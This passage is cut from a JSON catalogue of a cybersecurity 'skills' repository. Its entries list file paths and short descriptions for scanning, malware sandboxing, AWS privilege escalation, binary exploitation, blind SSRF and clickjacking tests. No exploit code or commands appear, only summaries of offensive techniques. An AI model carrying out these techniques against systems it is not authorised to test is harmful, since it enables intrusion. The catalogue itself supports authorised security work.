-->","isInternal":false,"tokens":643,"sizeBytes":2244},{"name":"standards.md","path":"skills/performing-asset-criticality-scoring-for-vulns/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-asset-criticality-scoring-for-vulns/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-asset-criticality-scoring-for-vulns%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":136,"sizeBytes":523},{"name":"workflows.md","path":"skills/performing-asset-criticality-scoring-for-vulns/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-asset-criticality-scoring-for-vulns/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-asset-criticality-scoring-for-vulns%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":139,"sizeBytes":579},{"name":"SKILL.md","path":"skills/performing-asset-criticality-scoring-for-vulns/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-asset-criticality-scoring-for-vulns/SKILL.md","title":"performing-asset-criticality-scoring-for-vulns","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-asset-criticality-scoring-for-vulns%2FSKILL.md -->","frontmatter":{"name":"performing-asset-criticality-scoring-for-vulns","description":"Build a multi-factor asset criticality scoring model—incorporating data sensitivity, business function dependency, regulatory scope, network exposure, and recoverability—to produce a 1-5 criticality tier that weights vulnerability prioritization and remediation SLAs. Use when prioritizing vulnerability remediation by business impact or aligning CMDB asset data with risk-based patching timelines.","domain":"cybersecurity","subdomain":"vulnerability-management","tags":["asset-criticality","vulnerability-prioritization","risk-management","cmdb","business-impact","crown-jewels","asset-classification"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-02","ID.IM-02","ID.RA-06"],"mitre_attack":["T1190","T1203","T1068"]},"isInternal":false,"tokens":1709,"sizeBytes":6885},{"name":"template.md","path":"skills/performing-authenticated-scan-with-openvas/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-authenticated-scan-with-openvas/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-authenticated-scan-with-openvas%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":622,"sizeBytes":2355},{"name":"api-reference.md","path":"skills/performing-authenticated-scan-with-openvas/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-authenticated-scan-with-openvas/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-authenticated-scan-with-openvas%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":606,"sizeBytes":2246},{"name":"standards.md","path":"skills/performing-authenticated-scan-with-openvas/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-authenticated-scan-with-openvas/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-authenticated-scan-with-openvas%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":702,"sizeBytes":2997},{"name":"workflows.md","path":"skills/performing-authenticated-scan-with-openvas/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-authenticated-scan-with-openvas/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-authenticated-scan-with-openvas%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":714,"sizeBytes":3169},{"name":"SKILL.md","path":"skills/performing-authenticated-scan-with-openvas/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-authenticated-scan-with-openvas/SKILL.md","title":"performing-authenticated-scan-with-openvas","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-authenticated-scan-with-openvas%2FSKILL.md -->","frontmatter":{"name":"performing-authenticated-scan-with-openvas","description":"Configure and execute authenticated (credentialed) vulnerability scans using OpenVAS/Greenbone Vulnerability Management (GVM) with SSH, SMB, or ESXi credentials to detect local vulnerabilities, missing patches, and misconfigurations on target hosts. Use when a host-level scan needs to log into systems for deep inspection, since authenticated scans typically surface 10-50x more findings than unauthenticated scans.","domain":"cybersecurity","subdomain":"vulnerability-management","tags":["openvas","gvm","authenticated-scan","vulnerability-scanning","greenbone","network-security","credentialed-scan"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-02","ID.IM-02","ID.RA-06"],"mitre_attack":["T1190","T1203","T1068","T1003","T1110"]},"isInternal":false,"tokens":2593,"sizeBytes":9253},{"name":"template.md","path":"skills/performing-authenticated-vulnerability-scan/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-authenticated-vulnerability-scan/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-authenticated-vulnerability-scan%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":410,"sizeBytes":1320},{"name":"api-reference.md","path":"skills/performing-authenticated-vulnerability-scan/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-authenticated-vulnerability-scan/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-authenticated-vulnerability-scan%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":533,"sizeBytes":2088},{"name":"standards.md","path":"skills/performing-authenticated-vulnerability-scan/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-authenticated-vulnerability-scan/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-authenticated-vulnerability-scan%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":521,"sizeBytes":2292},{"name":"workflows.md","path":"skills/performing-authenticated-vulnerability-scan/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-authenticated-vulnerability-scan/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-authenticated-vulnerability-scan%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":588,"sizeBytes":3362},{"name":"SKILL.md","path":"skills/performing-authenticated-vulnerability-scan/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-authenticated-vulnerability-scan/SKILL.md","title":"performing-authenticated-vulnerability-scan","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-authenticated-vulnerability-scan%2FSKILL.md -->","frontmatter":{"name":"performing-authenticated-vulnerability-scan","description":"Plan and run authenticated (credentialed) vulnerability scans with scanners such as Nessus, Qualys, OpenVAS, or Rapid7 InsightVM, using SSH, SMB, WinRM, or SNMPv3 credentials to inspect installed software, patches, and configurations on Linux, Windows, and network devices. Use when a scan must catch vulnerabilities unauthenticated scanning misses, or when choosing and managing credential types for a credentialed scan.","domain":"cybersecurity","subdomain":"vulnerability-management","tags":["vulnerability-management","cve","authenticated-scanning","credentials","nessus","qualys","risk"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-02","ID.IM-02","ID.RA-06"],"mitre_attack":["T1190","T1203","T1068","T1003","T1110"]},"isInternal":false,"tokens":2121,"sizeBytes":8659},{"name":"template.md","path":"skills/performing-automated-malware-analysis-with-cape/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-automated-malware-analysis-with-cape/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-automated-malware-analysis-with-cape%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":115,"sizeBytes":428},{"name":"api-reference.md","path":"skills/performing-automated-malware-analysis-with-cape/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-automated-malware-analysis-with-cape/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-automated-malware-analysis-with-cape%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1567,"sizeBytes":5798},{"name":"standards.md","path":"skills/performing-automated-malware-analysis-with-cape/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-automated-malware-analysis-with-cape/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-automated-malware-analysis-with-cape%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":78,"sizeBytes":316},{"name":"workflows.md","path":"skills/performing-automated-malware-analysis-with-cape/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-automated-malware-analysis-with-cape/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-automated-malware-analysis-with-cape%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":65,"sizeBytes":475},{"name":"SKILL.md","path":"skills/performing-automated-malware-analysis-with-cape/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-automated-malware-analysis-with-cape/SKILL.md","title":"performing-automated-malware-analysis-with-cape","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-automated-malware-analysis-with-cape%2FSKILL.md -->","frontmatter":{"name":"performing-automated-malware-analysis-with-cape","description":"Deploy and operate the CAPEv2 malware sandbox (a Cuckoo derivative) to run samples in a monitored Windows guest VM, capturing behavioral signatures, dropped files, PCAP network traffic, and family-specific configuration extraction (e.g. Emotet, TrickBot, Cobalt Strike) via cape-parsers. Use when a suspicious file or payload needs automated dynamic analysis, anti-evasion debugger tricks, or config/payload extraction.","domain":"cybersecurity","subdomain":"malware-analysis","tags":["cape","sandbox","automated-analysis","malware-analysis","behavioral-analysis","payload-extraction","cuckoo"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1027","T1055","T1140","T1497","T1070"]},"isInternal":false,"tokens":1596,"sizeBytes":6850},{"name":"template.md","path":"skills/performing-aws-account-enumeration-with-scout-suite/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-aws-account-enumeration-with-scout-suite/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-aws-account-enumeration-with-scout-suite%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":533,"sizeBytes":2043},{"name":"api-reference.md","path":"skills/performing-aws-account-enumeration-with-scout-suite/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-aws-account-enumeration-with-scout-suite/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-aws-account-enumeration-with-scout-suite%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1289,"sizeBytes":5113},{"name":"standards.md","path":"skills/performing-aws-account-enumeration-with-scout-suite/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-aws-account-enumeration-with-scout-suite/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-aws-account-enumeration-with-scout-suite%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":538,"sizeBytes":1985},{"name":"workflows.md","path":"skills/performing-aws-account-enumeration-with-scout-suite/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-aws-account-enumeration-with-scout-suite/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-aws-account-enumeration-with-scout-suite%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":463,"sizeBytes":2456},{"name":"SKILL.md","path":"skills/performing-aws-account-enumeration-with-scout-suite/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-aws-account-enumeration-with-scout-suite/SKILL.md","title":"performing-aws-account-enumeration-with-scout-suite","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-aws-account-enumeration-with-scout-suite%2FSKILL.md -->","frontmatter":{"name":"performing-aws-account-enumeration-with-scout-suite","description":"Run the agentless, open-source ScoutSuite tool (via pip install and the `scout` CLI) against an AWS account to enumerate resources across services, identify misconfigurations, and generate an interactive HTML security report. Use when assessing an AWS account's overall security posture with read-only IAM credentials, such as during a cloud security audit or compliance review.","domain":"cybersecurity","subdomain":"cloud-security","tags":["aws","scoutsuite","cloud-security","enumeration","misconfiguration","security-audit","cspm","nccgroup"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580"]},"isInternal":false,"tokens":1812,"sizeBytes":7535},{"name":"api-reference.md","path":"skills/performing-aws-privilege-escalation-assessment/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-aws-privilege-escalation-assessment/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-aws-privilege-escalation-assessment%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":645,"sizeBytes":2653},{"name":"SKILL.md","path":"skills/performing-aws-privilege-escalation-assessment/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-aws-privilege-escalation-assessment/SKILL.md","title":"performing-aws-privilege-escalation-assessment","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-aws-privilege-escalation-assessment%2FSKILL.md -->","frontmatter":{"name":"performing-aws-privilege-escalation-assessment","description":"Performing authorized privilege escalation assessments in AWS environments to identify IAM misconfigurations that allow users or roles to elevate their permissions using Pacu, CloudFox, Principal Mapper, and manual IAM policy analysis techniques.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-security","aws","privilege-escalation","iam","pacu","offensive-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580","T1068"]},"isInternal":false,"tokens":2879,"sizeBytes":12358},{"name":"api-reference.md","path":"skills/performing-bandwidth-throttling-attack-simulation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-bandwidth-throttling-attack-simulation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-bandwidth-throttling-attack-simulation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":558,"sizeBytes":2230},{"name":"SKILL.md","path":"skills/performing-bandwidth-throttling-attack-simulation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-bandwidth-throttling-attack-simulation/SKILL.md","title":"performing-bandwidth-throttling-attack-simulation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-bandwidth-throttling-attack-simulation%2FSKILL.md -->","frontmatter":{"name":"performing-bandwidth-throttling-attack-simulation","description":"Simulate bandwidth throttling and network degradation attacks using tc, iperf3, and Scapy in authorized lab environments to test QoS controls, application resilience, and monitoring detection of traffic manipulation. Use when validating how VoIP, video, or other real-time applications and network monitoring tools respond to degraded bandwidth or slowloris-style throttling attacks.\n","domain":"cybersecurity","subdomain":"network-security","tags":["network-security","bandwidth-throttling","qos","traffic-shaping","network-resilience"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071"]},"isInternal":false,"tokens":3349,"sizeBytes":12527},{"name":"api-reference.md","path":"skills/performing-binary-exploitation-analysis/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-binary-exploitation-analysis/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-binary-exploitation-analysis%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":496,"sizeBytes":1755},{"name":"SKILL.md","path":"skills/performing-binary-exploitation-analysis/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-binary-exploitation-analysis/SKILL.md","title":"performing-binary-exploitation-analysis","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-binary-exploitation-analysis%2FSKILL.md -->","frontmatter":{"name":"performing-binary-exploitation-analysis","description":"Analyze ELF binaries for memory-corruption vulnerabilities and build proof-of-concept exploits using pwntools, checksec, and ROPgadget for buffer overflows and ROP chains. Use when a penetration test or CTF challenge requires evaluating compiler mitigations (NX, ASLR, stack canaries, PIE, RELRO) or developing a working exploit to demonstrate impact.\n","domain":"cybersecurity","subdomain":"offensive-security","tags":["binary-exploitation","pwntools","rop-chains","buffer-overflow"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","GV.OV-02","DE.AE-07"],"mitre_attack":["T1078","T1190","T1059"]},"isInternal":false,"tokens":3902,"sizeBytes":14845},{"name":"api-reference.md","path":"skills/performing-blind-ssrf-exploitation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-blind-ssrf-exploitation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-blind-ssrf-exploitation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1389,"sizeBytes":5152},{"name":"SKILL.md","path":"skills/performing-blind-ssrf-exploitation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-blind-ssrf-exploitation/SKILL.md","title":"performing-blind-ssrf-exploitation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-blind-ssrf-exploitation%2FSKILL.md -->","frontmatter":{"name":"performing-blind-ssrf-exploitation","description":"Detect and exploit blind Server-Side Request Forgery (SSRF) using out-of-band techniques such as Burp Collaborator DNS interactions and timing analysis, to reach internal services and cloud metadata endpoints even when server responses are not reflected. Use when testing URL/webhook parameters, PDF generators, image processors, or import/preview features where SSRF output cannot be observed directly.","domain":"cybersecurity","subdomain":"web-application-security","tags":["blind-ssrf","ssrf","out-of-band","burp-collaborator","cloud-metadata","internal-network","oob-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083","T1078.004"]},"isInternal":false,"tokens":2716,"sizeBytes":9965},{"name":"api-reference.md","path":"skills/performing-bluetooth-security-assessment/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-bluetooth-security-assessment/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-bluetooth-security-assessment%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":679,"sizeBytes":2438},{"name":"SKILL.md","path":"skills/performing-bluetooth-security-assessment/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-bluetooth-security-assessment/SKILL.md","title":"performing-bluetooth-security-assessment","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-bluetooth-security-assessment%2FSKILL.md -->","frontmatter":{"name":"performing-bluetooth-security-assessment","description":"Assess Bluetooth Low Energy (BLE) device security using Python's bleak asyncio library to discover nearby devices, enumerate GATT services and characteristics, and flag unencrypted or unauthenticated read/write access to sensitive data. Use when auditing IoT, healthcare, fitness, or smart-home BLE devices for weak pairing configurations or known vulnerable device fingerprints.","domain":"cybersecurity","subdomain":"wireless-security","tags":["bluetooth","ble","gatt","wireless-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03"],"mitre_attack":["T1557","T1040"]},"isInternal":false,"tokens":860,"sizeBytes":4084},{"name":"api-reference.md","path":"skills/performing-brand-monitoring-for-impersonation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-brand-monitoring-for-impersonation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-brand-monitoring-for-impersonation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1165,"sizeBytes":4493},{"name":"SKILL.md","path":"skills/performing-brand-monitoring-for-impersonation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-brand-monitoring-for-impersonation/SKILL.md","title":"performing-brand-monitoring-for-impersonation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-brand-monitoring-for-impersonation%2FSKILL.md -->","frontmatter":{"name":"performing-brand-monitoring-for-impersonation","description":"Monitor for brand impersonation attacks across domains, social media, mobile apps, and dark web channels to detect phishing campaigns, fake sites, and unauthorized brand usage targeting your organization.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["brand-monitoring","impersonation","phishing","domain-monitoring","social-media","brand-protection","threat-intelligence"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1591","T1592","T1593","T1589","T1566"],"mitre_f3":{"version":"1.1","tactics":["reconnaissance","resource-development","initial-access","stealth"],"techniques":[{"id":"T1583.001","name":"Acquire Infrastructure: Domains","tactic":"resource-development","source":"attack"},{"id":"T1583.008","name":"Acquire Infrastructure: Malvertising","tactic":"resource-development","source":"attack"},{"id":"F1020.002","name":"Create Fake Materials: Fake Website","tactic":"resource-development","source":"f3"},{"id":"T1593","name":"Search Open Websites/Domains","tactic":"reconnaissance","source":"attack"},{"id":"F1032","name":"Impersonate Official","tactic":"initial-access","source":"f3"},{"id":"T1672","name":"Email Spoofing","tactic":"stealth","source":"attack"}]}},"isInternal":false,"tokens":2611,"sizeBytes":11935},{"name":"api-reference.md","path":"skills/performing-clickjacking-attack-test/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-clickjacking-attack-test/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-clickjacking-attack-test%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":543,"sizeBytes":2222},{"name":"SKILL.md","path":"skills/performing-clickjacking-attack-test/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-clickjacking-attack-test/SKILL.md","title":"performing-clickjacking-attack-test","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-clickjacking-attack-test%2FSKILL.md -->","frontmatter":{"name":"performing-clickjacking-attack-test","description":"Testing web applications for clickjacking vulnerabilities by assessing frame embedding controls and crafting proof-of-concept overlay attacks during authorized security assessments.","domain":"cybersecurity","subdomain":"web-application-security","tags":["penetration-testing","clickjacking","ui-redressing","web-security","owasp","x-frame-options"],"version":"1.0","author":"mahipal","license":"Apache-2.0","atlas_techniques":["AML.T0024","AML.T0035"],"nist_ai_rmf":["MEASURE-2.8","MAP-5.1"],"nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083"]},"isInternal":false,"tokens":3511,"sizeBytes":13786},{"name":"template.md","path":"skills/performing-cloud-asset-inventory-with-cartography/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-asset-inventory-with-cartography/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-asset-inventory-with-cartography%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":155,"sizeBytes":617},{"name":"api-reference.md","path":"skills/performing-cloud-asset-inventory-with-cartography/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-asset-inventory-with-cartography/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-asset-inventory-with-cartography%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1421,"sizeBytes":5064},{"name":"standards.md","path":"skills/performing-cloud-asset-inventory-with-cartography/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-asset-inventory-with-cartography/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-asset-inventory-with-cartography%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":136,"sizeBytes":527},{"name":"workflows.md","path":"skills/performing-cloud-asset-inventory-with-cartography/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-asset-inventory-with-cartography/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-asset-inventory-with-cartography%2Freferences%2Fworkflows.md 